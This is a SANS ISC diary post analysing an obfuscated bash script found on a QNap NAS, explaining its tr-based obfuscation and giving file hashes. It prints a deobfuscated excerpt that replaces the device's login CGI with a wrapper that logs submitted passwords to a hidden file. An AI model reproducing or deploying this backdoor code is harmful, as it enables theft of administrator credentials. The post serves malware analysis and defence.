Threat Level: green Handler on Duty: Richard Porter

SANS ISC: InfoSec Handlers Diary Blog - Obfuscated bash script targeting QNap boxes InfoSec Handlers Diary Blog


Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!

Obfuscated bash script targeting QNap boxes

Published: 2018-11-26
Last Updated: 2018-11-27 06:58:29 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

One of our readers, Nathaniel Vos, shared an interesting shell script with us and thanks to him! He found it on an embedded Linux device, more precisely, a QNap NAS running QTS 4.3. After some quick investigations, it looked that the script was not brand new. we found references to it already posted in September 2018[1]. But such shell scripts are less common: they are usually not obfuscated and they perform basic features like downloading and installing some binaries. So, I took the time to look at it.

Nathaniel provided us a ZIP archive with two scripts but, once deobfuscated, they generated the same output.

The first script was called ‘autorun.sh’ (SHA256: 94e901ada005120126234e8cbbc3b2142b00ed336922a0e3f400439c7061b849) and the second one ‘K01YgToEc.sh’ (SHA256: 1ccc3d2978edf38104e0e4b9c77146737ea6a6e880d172e485f4a67dc4e33359). Both are unknown on VT when I’m writing the diary. They use the same technique to obfuscate the code:

  • Shell variables are made of random characters
  • The code is polluted with undefined variables (so returning an empty string when printed). Example: ${uIHNPnfezwbcmn}
  • Characters are replaced with their hex value. Example: \x72 -> ‘r'
  • Some variables contain characters in octal value. Example: EpSHer=\\133 -> ‘['

Here are the first lines of the script:

$ head -10 autorun.sh
 1: #!/bin/sh
 2:
 3: XdLVBKAo=tr${PotjEjbZl}
 4: ZjZfCafE='\'
 5: EpSHer=${qIFMKMhiLQYkzZr}${ZjZfCafE}${KrVViRvQs}133
 6: lmkYrG=${FKgWKTtpzobrKUK}${ZjZfCafE}${njJfCTyAr}055
 7: mbcHAcrP=${GGsIVGSsokYhAJV}${ZjZfCafE}${mFfYGGKTf}134
 8: $XdLVBKAo 'F'$lmkYrG'ynEfiI$&okXKPY`ulW'$mbcHAcrP'Vj"Gz<gQ'$EpSHer'bZeRJqr{}M'"'"'#wd( S+%ch)v;D=UtH]!\n*sN>BxAOmCap|TL' '%'$lmkYrG'] >;lr'$EpSHer'sTIJCqPwxg+yv&K#=oHbinZD*dWhFapj|ctB)QuUEM'$mbcHAcrP'A\n<z!GfVYXRL`S'"'"'"(kO{m$}Ne' << "CaXTFJSCqaHF" | b${VXGXkTXAV}a${CYlb}sh
 9: GU/Q[b/&r;;w<apCJuKmOLkoSi
10: Ma|a}pC]Yr'%<[IXM"{a|bJfnpCQlia'V|LVpC%wMhKX|}ipCkb]Q%<VtQuZ|fndpChk<"|\MLfndL&pCISMSaZ'M(Y`|dp]Pmo*OSpxxfndpCiw+aIJ[Z|L&pCo=K(|dpC%T[{|fn+bpCh'P*|&pCY(o[qZO}`]oovw|LpCH*X>YT|dfnw<aapCh}=&'X`q 

At a first read, it seems very complex but, once all the junk code removed (see the list above), you discover that the script is obfuscated via a simple ’tr’ command. ’tr’ is a command useful to translate characters in a string like:

$ tr ‘abcdefghij’ ‘1234567890’ <<__END__
Example string
__END__
Ex1mpl5 str9n7

Each character from the first argument is replaced with the character from the second one ('a' -> '1', 'b' -> '2', ...). Here is the ’tr’ command from the malicious script:

tr 'F'$lmkYrG'ynEfiI$&okXKPY`ulW'$mbcHAcrP'Vj"Gz<gQ'$EpSHer'bZeRJqr{}M'"'"'#wd( S+%ch)v;D=UtH]!\n*sN>BxAOmCap|TL' '%'$lmkYrG'] >;lr'$EpSHer'sTIJCqPwxg+yv&K#=oHbinZD*dWhFapj|ctB)QuUEM'$mbcHAcrP'A\n<z!GfVYXRL`S'"'"'"(kO{m$}Ne' << "CaXTFJSCqaHF" | b${VXGXkTXAV}a${CYlb}sh
...
...
...
CaXTFJSCqaHF

'b${VXGXkTXAV}a${CYlb}sh’ is simply the ‘bash’ command. So, tr converts all characters from the very long string ending with ‘CaXTFJSCqaHF’ then the content (deobfuscated commands) is piped to bash. Here is  an interesting finding in the script (beautified)

 1: grep 'admin:\$1\$\$CoERg7ynjYLsj2j4glJ34\.:' /etc/shadow >/dev/null 2>&1 && {
 2: ! test -d "${bdir}/.log" && mkdir "${bdir}/.log"
 3: ! test -f /home/httpd/cgi-bin/QTSauthLogin.cgi && { 
 4:    cp -p /home/httpd/cgi-bin/authLogin.cgi /home/httpd/cgi-bin/QTSauthLogin.cgi || cp /home/httpd/cgi-bin/authLogin.cgi /home/httpd/cgi-bin/QTSauthLogin.cgi; 
 5: } && echo '#!/bin/sh
 6: POSTDATA=""
 7: test "x${REQUEST_METHOD}" = xPOST && {
 8:   case "${CONTENT_LENGTH}" in 
 9:     '"''"' | *[!0-9]* | 0* ) false 
10:       ;; 
11:    *) test "${CONTENT_LENGTH}" -lt 2147483646 
12:       ;; 
13: esac && { 
14:   IFS= read -d '"''"' -rn "${CONTENT_LENGTH}" POSTDATA; test -z "$POSTDATA" && POSTDATA=`dd bs=1 count="$CONTENT_LENGTH" 2>/dev/null`; 
15: } || test "$POSTDATA" || POSTDATA=`cat`
16: 
17: test ! -z "$POSTDATA" && 
18: case "${POSTDATA}" in 
19:   *pwd*) test -f "'${bdir}'/.log/.cgi_log" || 
20:          { test -d "'${bdir}'/.log" || mkdir -p "'${bdir}'/.log" && touch "'${bdir}'/.log/.cgi_log"; } 
21:          && test $((`stat -c '"'"'%s'"'"' "'${bdir}'/.log/.cgi_log"`)) -lt 209715200 && cat >> "'${bdir}'/.log/.cgi_log" << EOF ;; 
22: esac;
23: $REMOTE_ADDR:$POSTDATA
24: EOF
25: }
26: test ! -z "$POSTDATA" && case "$POSTDATA" in *user=admin* ) true ;; *) false ;; esac || case "$QUERY_STRING" in *user=admin*) true ;; *) false ;; esac && {
27: case "${REMOTE_ADDR}" in 
28:   '"''"' | 10.* | 127.* | 192.168.* | 169.254.* | 172.1[6-9].* | 172.2[0-9].* | 172.3[01].* | *:* ) false 
29:      ;; 
30:   *) true
31:      ;;
32: esac && grep '"'"'admin:\$1\$\$CoERg7ynjYLsj2j4glJ34\.:'"'"' /etc/shadow >/dev/null 2>/dev/null && exit 0
33: }
34: if ! test -z "$POSTDATA"; then
35:   exec -a "${0}" /home/httpd/cgi-bin/QTSauthLogin.cgi << V4KLDmYwvc
36: $POSTDATA
37: V4KLDmYwvc
38: else
39:   exec -a "${0}" /home/httpd/cgi-bin/QTSauthLogin.cgi
40; fi
41: exit 0' > /home/httpd/cgi-bin/_authLogin.cgi

This code installs a malicious CGI script (/home/httpd/cgi-bin/_authLogin.cgi) that steals the admin password (note that the default credentials are tested). The script also installs cron jobs, SSH & UPNP tools. So, it is definitively malicious! 

The remaining question is: how is this script installed on the device, via which vulnerability? There are some critical vulnerabilities in QTS released in 2018[2].

[1] https://forum.qnap.com/viewtopic.php?t=143239&start=15
[2] https://www.cvedetails.com/vulnerability-list/vendor_id-10080/Qnap.html

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 comment(s)
Diary Archives